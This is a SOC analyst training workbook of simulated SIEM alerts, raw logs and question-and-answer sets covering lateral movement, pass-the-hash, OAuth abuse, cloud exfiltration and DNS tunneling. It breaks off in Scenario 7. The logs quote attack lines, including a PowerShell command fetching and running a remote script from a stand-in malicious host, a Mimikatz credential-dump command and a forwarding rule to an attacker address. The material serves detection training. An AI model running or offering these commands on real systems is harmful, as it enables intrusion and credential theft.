20 SIMULATIONS TO TRAIN SOC ANALYSTS WITH REALISTIC SIEM ALERTS WITH QUESTION AND ANSWERS

BY IZZMIER IZZUDDIN

TABLE OF CONTENTS

SCENARIO 1: SUSPICIOUS LATERAL MOVEMENT IN A CORPORATE NETWORK

Background: A financial company with a hybrid cloud infrastructure has detected unusual activity originating from a compromised workstation. The attack appears to involve an attempt to move laterally across the network. Security analysts must investigate and determine the root cause, affected systems and impact.

SIEM Alerts

1. Endpoint Detection & Response (EDR) Alert - Unusual PowerShell Activity

Severity: High
Device: User Workstation (WIN-12345)
Alert: PowerShell script execution bypassing AMSI
Process Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec bypass -w hidden -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://malicious[.]site/payload.ps1')"
Reason: The script attempts to execute a payload from an external source, bypassing security controls.

2. IDS/IPS Alert - Outbound Connection to C2 Server

Severity: Critical
Source IP: 192.168.1.10 (Compromised Workstation)
Destination IP: 185.244.25.37 (Threat Actor C2)
Port: 443
Signature: ET MALWARE - Possible Cobalt Strike Beacon Detected
Reason: Network traffic analysis detected a suspicious outbound connection associated with a known Cobalt Strike C2 server.

3. Active Directory (AD) Authentication Alert - Multiple Failed Logins

Severity: Medium
Source: 192.168.1.10
Target: Multiple domain controllers
Failed Logins Count: 30 attempts within 5 minutes
Account Name: service-admin
Reason: Possible brute force or credential stuffing attack using a compromised machine.

4. Windows Security Logs - Successful Authentication from Unusual Device

Severity: High
User: service-admin

Source IP: 192.168.1.10
Destination: 192.168.1.20 (Finance Server)
Logon Type: 10 (Remote Interactive Login)
Reason: This account was used successfully from a machine that does not usually access finance systems.

5. Firewall Alert - SMB Traffic Between Workstations

Severity: High
Source: 192.168.1.10
Destination: 192.168.1.50 (Another Workstation)
Protocol: SMB
Action: Allowed
Reason: Workstations rarely communicate directly over SMB, suggesting lateral movement.

Raw Logs

Analysts can extract key insights by analysing the logs.

Log 1: EDR Log - PowerShell Execution

2025-03-06 12:45:22, Host: WIN-12345, User: Izzmier, Process: powershell.exe, Command: -exec bypass -w hidden -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://malicious[.]site/payload.ps1')", Hash: 54d3a8fbb2345e67adf2325b46c0d2b7, EventID: 4104, Status: Allowed

Log 2: Network Log - Suspicious Outbound Traffic

2025-03-06 12:46:05, SourceIP: 192.168.1.10, DestIP: 185.244.25.37, Protocol: TCP, Port: 443, Action: Allowed, Alert: Cobalt Strike C2 Communication Detected

Log 3: AD Authentication Log - Failed Attempts

2025-03-06 12:47:10, User: service-admin, SourceIP: 192.168.1.10, Target: DC-01, Status: Failed, Attempts: 30, EventID: 4625

Log 4: AD Authentication Log - Successful Login

2025-03-06 12:47:35, User: service-admin, SourceIP: 192.168.1.10, Target: FinanceServer-01, Status: Success, EventID: 4624, LogonType: 10

Log 5: Firewall Log - Lateral Movement

2025-03-06 12:50:00, SourceIP: 192.168.1.10, DestIP: 192.168.1.50, Protocol: SMB, Action: Allowed

QUESTIONS

1. **What is the initial entry point of the attack?**
2. **What technique did the attacker use to bypass security controls?**
3. **What evidence suggests the presence of a C2 communication?**
4. **Why is the AD login attempt suspicious?**
5. **What is the significance of Logon Type 10?**
6. **What is the attacker likely trying to do after gaining access to service-admin?**
7. **How does the SMB traffic relate to lateral movement?**
8. **What immediate actions should the SOC analyst take?**
9. **Which MITRE ATT&CK techniques are involved in this attack?**
10. **How can this type of attack be prevented in the future?**

ANSWERS

1. **Initial Entry Point:** The attacker exploited PowerShell (Log 1), downloading a malicious script from an external URL. Likely a phishing attack.
2. **Security Bypass:** The attacker used -exec bypass -w hidden -nop, evading AMSI and Windows Defender.
3. **C2 Evidence:** The outbound connection to 185.244.25.37 is a known Cobalt Strike IP (Log 2).
4. **Suspicious AD Login:** Multiple failed logins (Log 3) followed by a successful login (Log 4) suggest credential stuffing.
5. **Logon Type 10:** Indicates a remote interactive login, which is unusual for service-admin.
6. **Next Steps of Attacker:** Lateral movement via SMB traffic (Log 5), possibly attempting ransomware or further exploitation.
7. **SMB Traffic:** Workstations rarely communicate over SMB directly, indicating lateral spread.
8. **Immediate Actions:**
    - Contain and isolate 192.168.1.10.
    - Reset service-admin credentials.
    - Check for further lateral movement.
9. **MITRE ATT&CK Techniques:**
    - **T1059** (Command and Scripting Interpreter)
    - **T1071** (Application Layer Protocol)
    - **T1110** (Brute Force)
    - **T1021** (Remote Services)
    - **T1570** (Lateral Movement)
10. **Prevention:**

- Restrict PowerShell execution policies.
- Monitor abnormal outbound connections.
- Implement MFA for privileged accounts.
- Disable unnecessary SMB communication between workstations.

SCENARIO 2: DATA EXFILTRATION VIA CLOUD STORAGE ABUSE

Background: A multinational company has detected unusual data transfer activity involving cloud storage services. The security team suspects a potential insider threat or a compromised account attempting to exfiltrate sensitive corporate data. Analysts must investigate the root cause, assess the impact and recommend mitigation steps.

SIEM Alerts

These alerts come from various security solutions, indicating a potential data exfiltration attempt:

1. CASB (Cloud Access Security Broker) Alert - Large Upload to Google Drive

Severity: High
User: izzmier@company.com
Source IP: 172.16.45.23 (Corporate Laptop)
Destination: drive.google.com
File Upload Size: 5.2 GB
Alert: Unusual large file upload detected
Reason: This user has never uploaded such a large amount of data to Google Drive before.

2. Proxy/Firewall Alert - Unauthorised Cloud Storage Access

Severity: High
Source IP: 172.16.45.23
Destination: drive.google.com, dropbox.com, mega.nz
Total Data Transferred: 10.7 GB
Action: Allowed
Reason: The user accessed multiple cloud storage services within a short timeframe, attempting to move data out of the network.

3. Endpoint DLP (Data Loss Prevention) Alert - Sensitive Files Moved to External Drive

Severity: Critical
User: izzmier@company.com
Device: CFO-LAPTOP-21
File Types: .xls, .csv, .pdf
File Count: 432
Action: Copied to D:\ExternalDrive
Reason: The files contain financial records, detected by DLP as sensitive information.

4. Active Directory Alert - New Device Registered for MFA

Severity: High
User: izzmier@company.com
MFA Device Added: Samsung Galaxy S22
Location: Jakarta, Indonesia
Reason: The user is registered in Kuala Lumpur, but a new MFA device was added from a different country.

5. SIEM Correlation Rule Triggered - Potential Insider Threat

Severity: Critical
User: izzmier@company.com
Triggered Events:

- Unusual Cloud Upload (CASB)
- Multiple Cloud Service Access Attempts (Proxy)
- Sensitive Data Copied to External Drive (DLP)
- New MFA Device Registered (AD)
  Reason: The combination of events suggests possible insider data exfiltration or a compromised account.

Raw Logs

Log 1: CASB Alert - Unusual Cloud Upload

2025-03-06 14:12:34, User: izzmier@company.com, SourceIP: 172.16.45.23, Destination: drive.google.com, Upload Size: 5.2GB, Alert: Unusual Large File Upload

Log 2: Proxy Log - Multiple Cloud Storage Access

2025-03-06 14:15:48, SourceIP: 172.16.45.23, Destination: drive.google.com, Data Sent: 3.2GB, Status: Allowed
2025-03-06 14:16:12, SourceIP: 172.16.45.23, Destination: dropbox.com, Data Sent: 2.5GB, Status: Allowed
2025-03-06 14:17:02, SourceIP: 172.16.45.23, Destination: mega.nz, Data Sent: 5GB, Status: Allowed

Log 3: DLP Alert - Files Copied to External Drive

2025-03-06 14:20:10, User: izzmier@company.com, Device: CFO-LAPTOP-21, FilePath: C:\Users\Izzmier\Documents\Confidential_Financials.xlsx, Destination: D:\ExternalDrive, Status: Copied
2025-03-06 14:20:12, User: izzmier@company.com, Device: CFO-LAPTOP-21, FilePath: C:\Users\Izzmier\Documents\Client_Records_2025.pdf, Destination: D:\ExternalDrive, Status: Copied

Log 4: AD Alert - New MFA Device Registered

2025-03-06 14:25:37, User: izzmier@company.com, MFA Device Added: Samsung Galaxy S22, Location: Jakarta, Indonesia, Status: Success

QUESTIONS

1. **What is the primary security concern in this scenario?**
2. **Is this an insider threat, a compromised account, or something else?**
3. **What evidence suggests the possibility of account compromise?**
4. **Why is the AD alert about a new MFA device significant?**
5. **What steps should be taken to confirm if Izzmier's account is compromised?**
6. **What immediate containment actions should be taken?**
7. **Which MITRE ATT&CK techniques apply in this scenario?**
8. **What policies should be in place to prevent such incidents in the future?**
9. **How can SIEM correlation rules be improved to detect similar threats earlier?**
10. **If Izzmier denies any involvement, what additional checks should be performed?**

ANSWERS

1. **Primary Security Concern:**
   - Possible data exfiltration via cloud storage and external drive copying.
2. **Insider Threat or Compromised Account?**
   - It could be both. The new MFA device registration suggests account compromise, but the data copying might indicate an insider threat.
3. **Evidence of Account Compromise:**
   - The new MFA device registration from Indonesia (Log 4).
   - The large file uploads occurring after this event.
4. **Significance of the New MFA Device Alert:**
   - If the real user is unaware of this registration, the account has likely been taken over.
5. **Steps to Confirm Account Compromise:**
   - Verify if Izzmier recently logged in from an unusual location.
   - Check if Izzmier approved the MFA request.
   - Check for recent password resets or phishing attempts.
6. **Immediate Containment Actions:**
   - Suspend Izzmier’s account.
   - Investigate the external drive contents.
   - Block access to cloud storage services.
   - Notify incident response for forensic analysis.
7. **MITRE ATT&CK Techniques:**
   - **T1078** (Valid Accounts - Account Takeover)
   - **T1567** (Exfiltration Over Web Service - Cloud Storage)
   - **T1114** (Email Collection)

    - **T1557** (Man-in-the-Middle for MFA Interception)
8. **Prevention Strategies:**
    - Enforce stricter MFA policies (e.g., geofencing, device binding).
    - Restrict external storage usage.
    - Implement CASB rules to limit unsanctioned cloud storage usage.
9. **Improving SIEM Correlation Rules:**
    - Link abnormal MFA activity with data exfiltration alerts.
    - Trigger alerts when a high volume of sensitive files is moved.
10. **Additional Verification if Izzmier Denies Involvement:**

- Review endpoint logs for unauthorised remote access.
- Check for phishing emails targeting Izzmier's credentials.
- Investigate his previous cloud usage patterns.

SCENARIO 3: CREDENTIAL THEFT AND PRIVILEGE ESCALATION VIA PASS-THE-HASH ATTACK

Background: A multinational company's Security Operations Centre (SOC) detects suspicious authentication attempts on their Windows servers. The initial alerts indicate possible credential theft and privilege escalation via a Pass-the-Hash (PtH) attack. Analysts must investigate the root cause, assess the impact and recommend mitigation steps.

SIEM Alerts

These alerts correlate across different security solutions to indicate potential lateral movement and privilege escalation:

1. EDR Alert - Mimikatz Detected on Employee Workstation

Severity: Critical
User: izzmier@company.com
Source IP: 192.168.10.45 (Employee Laptop)
Endpoint: WIN10-IZZ45.company.local
Process: C:\Users\Izzmier\Downloads\mimikatz.exe
Command: sekurlsa::logonpasswords
Action: Blocked
Reason: Mimikatz is a known credential dumping tool used by attackers to extract hashes from memory.

2. Windows Event Log Alert - NTLM Authentication from Unusual Host

Severity: High
Source IP: 192.168.10.45
Destination: DC1.company.local (192.168.1.10)
User: izzmier@company.com
Event ID: 4624 (Type 3 - Network Logon)
Authentication Package: NTLM
Action: Allowed
Reason: NTLM authentication was attempted from a non-admin workstation, which is not normal behaviour.

3. Firewall Alert - SMB Lateral Movement Attempt

Severity: High
Source IP: 192.168.10.45
Destination: 192.168.10.78 (Finance Server)
Protocol: SMB

Port: 445
Action: Allowed
Reason: The user izzmier@company.com attempted to connect to a finance server via SMB, which is not part of their normal behaviour.

4. SIEM Correlation Rule - Possible Pass-the-Hash Attack

Severity: Critical
User: izzmier@company.com
Triggered Events:

- Mimikatz execution detected on endpoint (EDR Alert).
- Unusual NTLM authentication attempt (Windows Event Log).
- Unauthorised SMB access attempt (Firewall Log).
  Reason: The sequence of events suggests that an attacker is using a stolen NTLM hash to move laterally within the network.

5. Privilege Escalation Attempt - Admin Group Membership Change

Severity: Critical
User: izzmier@company.com
Event ID: 4732 (Member added to privileged group)
Target Group: Domain Admins
Source: DC1.company.local
Reason: This user does not have permission to add themselves to the **Domain Admins** group. This action suggests unauthorised privilege escalation.

Raw Logs

Log 1: EDR Alert - Mimikatz Execution Detected

2025-03-06 10:12:34, User: izzmier@company.com, Host: WIN10-IZZ45.company.local, Process: mimikatz.exe, Command: sekurlsa::logonpasswords, Status: Blocked

Log 2: Windows Security Log - NTLM Authentication Attempt

2025-03-06 10:15:48, EventID: 4624, SourceIP: 192.168.10.45, Destination: DC1.company.local, User: izzmier@company.com, Authentication Package: NTLM, Logon Type: 3, Status: Allowed

Log 3: Firewall Log - SMB Lateral Movement Attempt

2025-03-06 10:18:22, SourceIP: 192.168.10.45, Destination: 192.168.10.78, Protocol: SMB, Port: 445, Action: Allowed

Log 4: Active Directory Event Log - Privilege Escalation Attempt

2025-03-06 10:20:37, EventID: 4732, User: izzmier@company.com, Target Group: Domain Admins, Status: Unauthorised Change Attempt

QUESTIONS

1. **What is the primary security concern in this scenario?**
2. **Is this an insider threat, a compromised account, or something else?**
3. **What evidence suggests the use of a Pass-the-Hash attack?**
4. **Why is NTLM authentication a red flag in this case?**
5. **What is the significance of the lateral movement attempt?**
6. **What immediate containment actions should be taken?**
7. **Which MITRE ATT&CK techniques apply in this scenario?**
8. **How can SIEM correlation rules be improved to detect similar threats earlier?**
9. **What policies should be in place to prevent similar attacks in the future?**
10. **If Izzmier denies involvement, what additional checks should be performed?**

ANSWERS

1. **Primary Security Concern:**
    - Pass-the-Hash (PtH) attack, where an attacker uses a stolen NTLM hash to authenticate as a privileged user.
2. **Insider Threat or Compromised Account?**
    - Compromised account. The execution of Mimikatz suggests an attacker is extracting credentials from the system.
3. **Evidence of a Pass-the-Hash Attack:**
    - Mimikatz execution (Log 1) suggests credential dumping.
    - NTLM authentication from an unusual workstation (Log 2).
    - SMB lateral movement attempt (Log 3).
    - Privilege escalation attempt (Log 4).
4. **NTLM Authentication as a Red Flag:**
    - NTLM is outdated and vulnerable to credential replay attacks (Pass-the-Hash).
    - Izzmier's workstation should not be initiating NTLM authentication to a domain controller.
5. **Significance of Lateral Movement Attempt:**
    - Attackers often move across systems to escalate privileges and access sensitive data.
6. **Immediate Containment Actions:**
    - Isolate the affected machine (Izzmier’s laptop).
    - Revoke Izzmier’s credentials and force password reset.
    - Investigate other potential compromised accounts.
    - Block NTLM authentication where possible.
7. **MITRE ATT&CK Techniques:**

- T1003 (Credential Dumping - Mimikatz)
- T1075 (Pass-the-Hash)
- T1021 (Remote Services - SMB)
- T1068 (Exploitation for Privilege Escalation)

8. **Improving SIEM Correlation Rules:**
   - Trigger alerts when NTLM authentication occurs from unusual hosts.
   - Monitor and flag privilege escalation events.
   - Alert on SMB traffic from non-administrative hosts.
9. **Prevention Strategies:**
   - Disable NTLM authentication in favour of Kerberos.
   - Enforce strong privileged access management (PAM).
   - Implement network segmentation to prevent lateral movement.
10. **Additional Verification if Izzmier Denies Involvement:**

- Check endpoint logs for remote access attempts.
- Review email logs for phishing indicators.
- Analyse account behaviour over time for anomalies.

SCENARIO 4: MALICIOUS OAUTH TOKEN ABUSE LEADING TO PERSISTENT ACCESS

Background: A SOC team at a financial institution detects unusual cloud API activity from a legitimate user's account. The investigation reveals OAuth token abuse, where a compromised token was used to maintain persistent access to cloud services despite password resets. This attack bypasses traditional security controls like MFA, allowing attackers to move stealthily within cloud environments, exfiltrate sensitive data and maintain access long-term.

SIEM Alerts

1. Cloud IAM Alert - Unusual OAuth Token Grant

Severity: High
User: izzmier@company.com
Source IP: 185.216.33.14 (Unusual - Russia)
Application: Microsoft 365 - Outlook API
Grant Type: Refresh Token
Action: Allowed
Reason: OAuth tokens are being generated from an unusual IP that does not match Izzmier's typical access pattern.

2. Cloud API Alert - Suspicious File Download from OneDrive

Severity: Critical
User: izzmier@company.com
Source IP: 185.216.33.14
Action: Downloaded 2GB of files
Files: Financial_Report_Q1_2025.xlsx, Client_Data.csv, Company_Strategy.pptx
Action: Allowed
Reason: High-volume downloads from an unusual location suggest data exfiltration.

3. SIEM Correlation Rule - MFA Bypass Detected

Severity: Critical
User: izzmier@company.com
Triggered Events:

- Successful OAuth token grant from Russia.
- High-volume file downloads from Russia.
- No interactive login attempts detected.
  Reason: The user never logged in interactively but successfully accessed services using an OAuth token, bypassing MFA.

4. CASB Alert - Impossible Travel Activity

Severity: High
User: izzmier@company.com
Recent Logins:

- March 6, 2025 - 10:00 AM - Kuala Lumpur (Malaysia) - 192.168.50.22
- March 6, 2025 - 10:05 AM - Moscow (Russia) - 185.216.33.14
  Action: Allowed
  Reason: The physical distance between the login locations makes it impossible for a legitimate user to travel that quickly.

5. Endpoint Detection & Response (EDR) Alert - Suspicious Email Forwarding Rule

Severity: High
User: izzmier@company.com
Rule Created: Forward all emails to attacker@evilmail.com
Reason: Attackers often set up forwarding rules to steal sensitive data without needing persistent access.

Raw Logs

Log 1: OAuth Token Grant from Unusual IP

2025-03-06 10:05:45, User: izzmier@company.com, IP: 185.216.33.14, Application: Microsoft 365, Grant Type: Refresh Token, Action: Allowed

Log 2: Suspicious File Download from OneDrive

2025-03-06 10:07:12, User: izzmier@company.com, IP: 185.216.33.14, File: Financial_Report_Q1_2025.xlsx, Action: Download, Size: 150MB
2025-03-06 10:08:35, User: izzmier@company.com, IP: 185.216.33.14, File: Client_Data.csv, Action: Download, Size: 200MB

Log 3: Impossible Travel Detection

2025-03-06 10:00:00, User: izzmier@company.com, Location: Kuala Lumpur, Malaysia, IP: 192.168.50.22, Login Method: Password + MFA, Status: Success
2025-03-06 10:05:00, User: izzmier@company.com, Location: Moscow, Russia, IP: 185.216.33.14, OAuth Token Used, Status: Success

Log 4: Email Forwarding Rule Created

2025-03-06 10:09:45, User: izzmier@company.com, Rule: Forward all emails to attacker@evilmail.com, Status: Created

QUESTIONS

1. **What is the primary security concern in this scenario?**
2. **How did the attacker maintain access despite password resets?**
3. **What evidence suggests this is an OAuth token abuse attack?**
4. **Why did MFA fail to protect Izzmier's account?**
5. **What are the risks associated with email forwarding rules?**
6. **What immediate containment actions should be taken?**
7. **Which MITRE ATT&CK techniques are applicable in this attack?**
8. **How can SIEM and CASB alerts be improved to detect such threats earlier?**
9. **What long-term mitigation strategies should be implemented?**
10. **If Izzmier denies any involvement, what further investigation should be done?**

ANSWERS

1. **Primary Security Concern:**
   - OAuth token abuse, allowing the attacker to bypass MFA and persistently access cloud services.
2. **How the Attacker Maintained Access:**
   - **OAuth refresh tokens remain valid even after a password reset, unless explicitly revoked.**
3. **Evidence of OAuth Token Abuse:**
   - Log 1 shows an OAuth token grant from an unusual location.
   - Log 3 (Impossible Travel) shows that no interactive login occurred.
   - SIEM alert confirms that access was granted via an OAuth token, not a normal login.
4. **Why MFA Failed:**
   - MFA is only required during an interactive login.
   - Since the attacker used an OAuth token, they did not need to reauthenticate.
5. **Risks of Email Forwarding Rules:**
   - Attackers steal sensitive emails automatically.
   - Victims may not notice the exfiltration until it's too late.
6. **Immediate Containment Actions:**
   - Revoke all OAuth refresh tokens for Izzmier's account.
   - Force a new MFA reauthentication for cloud services.
   - Disable the email forwarding rule.
   - Investigate other accounts for similar activity.
7. **MITRE ATT&CK Techniques:**
   - T1550.001 (Use of Application Access Tokens)
   - T1071.001 (Application Layer Protocol - Web Services)
   - T1020 (Automated Exfiltration)

    - T1114.003 (Email Collection via Forwarding Rule)
8. **Improving SIEM and CASB Alerts:**
    - Trigger alerts for OAuth token grants from unusual locations.
    - Monitor OAuth token lifespan and expiration patterns.
    - Flag high-volume cloud downloads outside of business hours.
9. **Long-Term Mitigation Strategies:**
    - Enforce OAuth token revocation policies.
    - Monitor OAuth app permissions regularly.
    - Disable email forwarding rules unless explicitly needed.
10. **Further Investigation if Izzmier Denies Involvement:**

- Check login history for compromised devices.
- Review phishing email reports for possible credential theft.
- Inspect OAuth token usage across the organisation.

SCENARIO 5: SILENT PERSISTENCE VIA CLOUD IDENTITY FEDERATION EXPLOITATION

Background: A cybersecurity analyst at a Managed Security Service Provider (MSSP) detects unauthorised access to multiple cloud workloads from an unexpected source. The attacker bypasses traditional authentication mechanisms by exploiting Identity Federation misconfigurations to maintain persistent access to a client's cloud infrastructure. Unlike typical credential-based attacks, this technique leverages trusted identity providers (IdPs) (e.g., Azure AD, Okta, AWS IAM roles) to grant access without requiring passwords or MFA. The attacker pivots across cloud services, executes privileged actions and avoids detection by blending in with legitimate user behaviour.

SIEM Alerts

1. Cloud Identity Alert - Unusual Cross-Account Access

Severity: High
User: svc-ci-deploy@company.com (Service Account)
Source IP: 102.219.44.88 (Unusual - Germany)
Access Type: Assumed AWS IAM Role via Identity Federation
Target: AWS EC2, S3, IAM
Action: Allowed
Reason: The service account is normally only used for CI/CD deployments from Malaysia but was observed assuming an AWS IAM role from Germany.

2. SIEM Correlation Rule - Suspicious Federation Activity

Severity: Critical
User: svc-ci-deploy@company.com
Triggered Events:

- First-time IAM Role assumption from Germany.
- High API request volume within a short timeframe.
- Cloud Trail logs indicate unusual S3 bucket access.
  Reason: Anomalous IAM role usage and API spikes suggest possible exploitation of an overly permissive Identity Federation setup.

3. Cloud Storage Alert - Unexpected S3 Data Access

Severity: Critical
User: svc-ci-deploy@company.com
Source IP: 102.219.44.88
Bucket Name: s3://client-sensitive-data
Action: Downloaded 50GB of sensitive files

Action: Allowed
Reason: The service account typically does not access S3 buckets directly.

4. Cloud Compute Alert - Unexpected EC2 Instance Creation

Severity: High
User: svc-ci-deploy@company.com
Region: us-east-1
Action: Created EC2 instance
Instance Type: t2.medium
AMI ID: ami-0abcdef1234567890
Action: Allowed
Reason: Attackers often deploy rogue instances for post-exploitation activities such as C2 (Command & Control).

5. Cloud IAM Alert - New Access Key Created

Severity: Critical
User: svc-ci-deploy@company.com
Action: Generated new IAM access key
Reason: This indicates potential persistence mechanisms, allowing the attacker to maintain access even if their session is revoked.

Raw Logs

Log 1: Unusual IAM Role Assumption

2025-03-10 15:02:35, User: svc-ci-deploy@company.com, IP: 102.219.44.88, Event: AssumeRole, Role: AWSAdministratorAccess, Status: Success

Log 2: Large Data Download from S3

2025-03-10 15:05:42, User: svc-ci-deploy@company.com, IP: 102.219.44.88, Action: Download, Bucket: s3://client-sensitive-data, Size: 50GB

Log 3: New EC2 Instance Created

2025-03-10 15:07:22, User: svc-ci-deploy@company.com, Region: us-east-1, Instance ID: i-0a1b2c3d4e5f67890, AMI: ami-0abcdef1234567890, Action: CreateInstance

Log 4: IAM Access Key Created

2025-03-10 15:10:50, User: svc-ci-deploy@company.com, Access Key ID: AKIA1234567890EXAMPLE, Action: CreateAccessKey, Status: Success

QUESTIONS

1. **What is the primary attack technique used in this scenario?**
2. **Why is Identity Federation an attractive target for attackers?**
3. **How did the attacker bypass traditional authentication mechanisms?**
4. **What evidence suggests this is a case of Identity Federation exploitation?**
5. **What are the security risks of service accounts like svc-ci-deploy@company.com?**
6. **What immediate incident response actions should be taken?**
7. **Which MITRE ATT&CK techniques are relevant to this attack?**
8. **How can SIEM detection rules be improved to catch similar threats earlier?**
9. **What long-term security measures should be implemented?**
10. **How can organisations prevent attackers from leveraging IAM roles in this way?**

ANSWERS

1. **Primary Attack Technique:**
    - Exploitation of Identity Federation misconfigurations, allowing attackers to assume high-privilege roles without passwords.
2. **Why Identity Federation is Targeted:**
    - No password or MFA prompts when assuming roles.
    - Excessive permissions if IAM policies are misconfigured.
3. **How the Attacker Bypassed Authentication:**
    - Instead of using stolen credentials, they leveraged federated authentication to gain access without direct login attempts.
4. **Evidence of Identity Federation Exploitation:**
    - Log 1: Unusual IAM role assumption from an unrecognised IP.
    - Log 2: Large data download from a sensitive bucket.
    - SIEM Correlation Alert: Service account accessed multiple AWS resources it does not normally use.
5. **Risks of Service Accounts (svc-ci-deploy@company.com)**
    - Often have broad permissions for automation.
    - Do not use MFA, making them attractive targets.
    - Long-lived tokens can be exploited for persistence.
6. **Immediate Incident Response Actions:**
    - Revoke all active sessions for svc-ci-deploy@company.com immediately.
    - Disable the IAM role assumption policy temporarily.
    - Rotate IAM access keys to prevent reuse.
    - Investigate logs for additional suspicious role assumptions.
7. **MITRE ATT&CK Techniques:**
    - T1078.004 (Valid Accounts: Cloud Accounts)
    - T1098 (Account Manipulation)
    - T1535 (Unsecured Credentials in Cloud Instances)
    - T1567 (Exfiltration Over Web Services)
8. **Improving SIEM Detection Rules:**

    - Alert on first-time IAM role assumptions from new locations.
    - Trigger alerts for excessive IAM API calls in short timeframes.
    - Monitor service accounts for unexpected role escalations.
9. **Long-Term Security Measures:**
    - Implement strict IAM policies to limit role assumptions.
    - Enforce conditional access policies (e.g., geo-blocking).
    - Use short-lived session tokens instead of long-lived access keys.
10. **Preventing IAM Role Exploitation:**

- Use Cloud Security Posture Management (CSPM) to audit role policies.
- Restrict federated role assumptions to known IP addresses.
- Monitor IAM policies for unintended privilege escalations.

SCENARIO 6: STEALTHY EXFILTRATION VIA DNS TUNNELING

Background: An attacker has compromised an internal workstation within a corporate network and is exfiltrating sensitive data using DNS tunneling. Traditional security tools do not detect this method because DNS traffic is often trusted and not subjected to deep inspection. The attack was initiated after an employee downloaded an infected document from a phishing email. The malware, running as a background process, encodes sensitive data and sends it to a malicious command-and-control (C2) server using DNS queries. The attacker then decodes the responses to extract stolen information.

SIEM Alerts

1. EDR Alert - Suspicious Process Execution (Initial Access)

Severity: Medium
Hostname: HR-PC-05
User: izzmier.hr@company.com
Process: winword.exe → cmd.exe /c powershell -exec bypass -File C:\Users\Izzmier\Documents\payload.ps1
Reason: Word executed a PowerShell script in bypass mode. This is a common attack technique for initial infection via malicious macros.

2. Firewall Alert - Unusual DNS Traffic

Severity: High
Source IP: 192.168.1.45 (HR-PC-05)
Destination: malicious.dns-server.com
Protocol: DNS
Query Type: TXT
Query Volume: 5000+ DNS requests in 10 minutes
Reason: High volume of TXT record DNS queries to an unknown external domain suggests data exfiltration via DNS tunneling.

3. SIEM Correlation Rule - Suspicious DNS Tunneling Pattern

Severity: Critical
Triggered Events:

- High volume of DNS queries from a single host.
- DNS queries contain large encoded payloads.
- Destination domain is a known indicator of compromise (IoC).
  Reason: The combination of encoded DNS payloads and abnormal query frequency suggests an active data exfiltration attack.

4. Network Detection Alert - Anomalous DNS Traffic to External C2

Severity: High
Source IP: 192.168.1.45
Destination: malicious.dns-server.com
Detection Method: Behavioural Anomaly Detection
Reason: The system is sending large DNS queries encoded with Base64 to a domain not associated with legitimate business activity.

5. Endpoint Alert - Powershell Network Communication

Severity: Critical
User: izzmier.hr@company.com
Process: powershell.exe -enc JAB3AG... (truncated base64 payload)
Network Activity: Connected to malicious.dns-server.com
Reason: The PowerShell script is attempting remote communication via DNS queries, likely for C2 interaction or exfiltration.

Raw Logs

Log 1: DNS Queries with Encoded Data

2025-03-12 14:32:01, Source: 192.168.1.45, Destination: malicious.dns-server.com, Query: TXQzMDVfcGFzc3dvcmQxMjM0 (Base64 Encoded Data), Type: TXT

Log 2: Firewall Logs - High DNS Query Rate

2025-03-12 14:33:10, Source: 192.168.1.45, Destination: malicious.dns-server.com, Query Count: 5000, Alert: High Volume DNS Requests

Log 3: Powershell Command Execution

2025-03-12 14:35:50, User: izzmier.hr@company.com, Process: powershell.exe -enc JAB3AG... (Truncated Base64)

QUESTIONS

1. **What is the primary attack technique used in this scenario?**
2. **Why is DNS tunneling an effective data exfiltration method?**
3. **How did the attacker gain initial access?**
4. **What evidence suggests that data exfiltration is occurring?**
5. **What role does Base64 encoding play in this attack?**
6. **Why is a high volume of DNS queries a red flag?**
7. **What immediate response actions should the SOC take?**

8. **How can SIEM rules be improved to detect DNS tunneling earlier?**
9. **What long-term security measures should be implemented to prevent similar attacks?**
10. **How can an organisation ensure that legitimate DNS traffic is not blocked while detecting threats?**

ANSWERS

1. **Primary Attack Technique:**
    - DNS Tunneling for stealthy data exfiltration to a remote attacker-controlled server.
2. **Why DNS Tunneling is Effective:**
    - DNS traffic is rarely monitored for anomalies.
    - Firewalls allow DNS by default without deep packet inspection.
    - Attackers can encode and split stolen data into multiple queries.
3. **Initial Access Method:**
    - Phishing email with a malicious document containing a PowerShell script that executed upon opening the file.
4. **Evidence of Data Exfiltration:**
    - Large volume of TXT record DNS queries with Base64-encoded payloads.
    - Firewall logs showing thousands of DNS requests to an unknown domain.
    - PowerShell execution with encoded parameters.
5. **Role of Base64 Encoding:**
    - The attacker hides sensitive data within DNS queries by encoding it in Base64 before sending it.
6. **Why High DNS Query Volume is a Red Flag:**
    - Normal users generate limited DNS queries per session.
    - Thousands of DNS queries in a short time indicate potential data exfiltration.
7. **Immediate SOC Response Actions:**
    - Block outbound traffic to malicious.dns-server.com at the firewall.
    - Terminate the infected process (powershell.exe) on HR-PC-05.
    - Isolate HR-PC-05 from the network for forensic analysis.
    - Check other endpoints for similar DNS patterns.
8. **Improving SIEM Rules for DNS Tunneling Detection:**
    - Monitor for excessive DNS queries from a single host in a short timeframe.
    - Trigger alerts for TXT queries containing Base64-encoded data.
    - Use threat intelligence feeds to block known malicious DNS domains.
9. **Long-Term Security Measures:**
    - Enforce DNS filtering to block suspicious domains.
    - Enable deep packet inspection (DPI) for outbound DNS traffic.
    - Restrict PowerShell execution policies to prevent unauthorised scripts.
10. **Ensuring Legitimate DNS Traffic is Not Blocked:**

- Allow-list only trusted DNS servers used by the organisation.

- Use machine learning-based anomaly detection for DNS behaviour.

SCENARIO 7: ROGUE INSIDER USING RDP FOR DATA THEFT

Background: An insider threat has been detected within the Finance Department of a company. A disgruntled employee, who is about to resign, is using Remote Desktop Protocol (RDP) to transfer sensitive financial records to an external server. The attacker is bypassing traditional security monitoring by using legitimate credentials and an encrypted RDP session. The security team noticed an increase in off-hours RDP activity from an employee's workstation to an unapproved external IP. Investigation reveals that large financial files were accessed and transferred just before the employee submitted their resignation.

SIEM Alerts

1. Identity & Access Management (IAM) Alert - Unusual RDP Login

Severity: Medium
Username: izzmier@company.com
Source: FINANCE-WS-07
Destination: 192.168.2.200 (Internal Server)
Login Time: 2025-03-05 22:14:33
Reason: Employee logged in outside of normal working hours (22:14), which is unusual for this role.

2. Firewall Alert - RDP Connection to External IP

Severity: High
Source IP: 192.168.2.200
Destination IP: 45.77.89.32 (Unapproved External Server)
Protocol: TCP 3389 (RDP)
Connection Time: 2025-03-05 22:30:12
Reason: RDP connection was initiated to an unapproved external IP, potentially for data exfiltration.

3. SIEM Correlation Rule - Suspicious Off-Hours RDP and Data Transfer

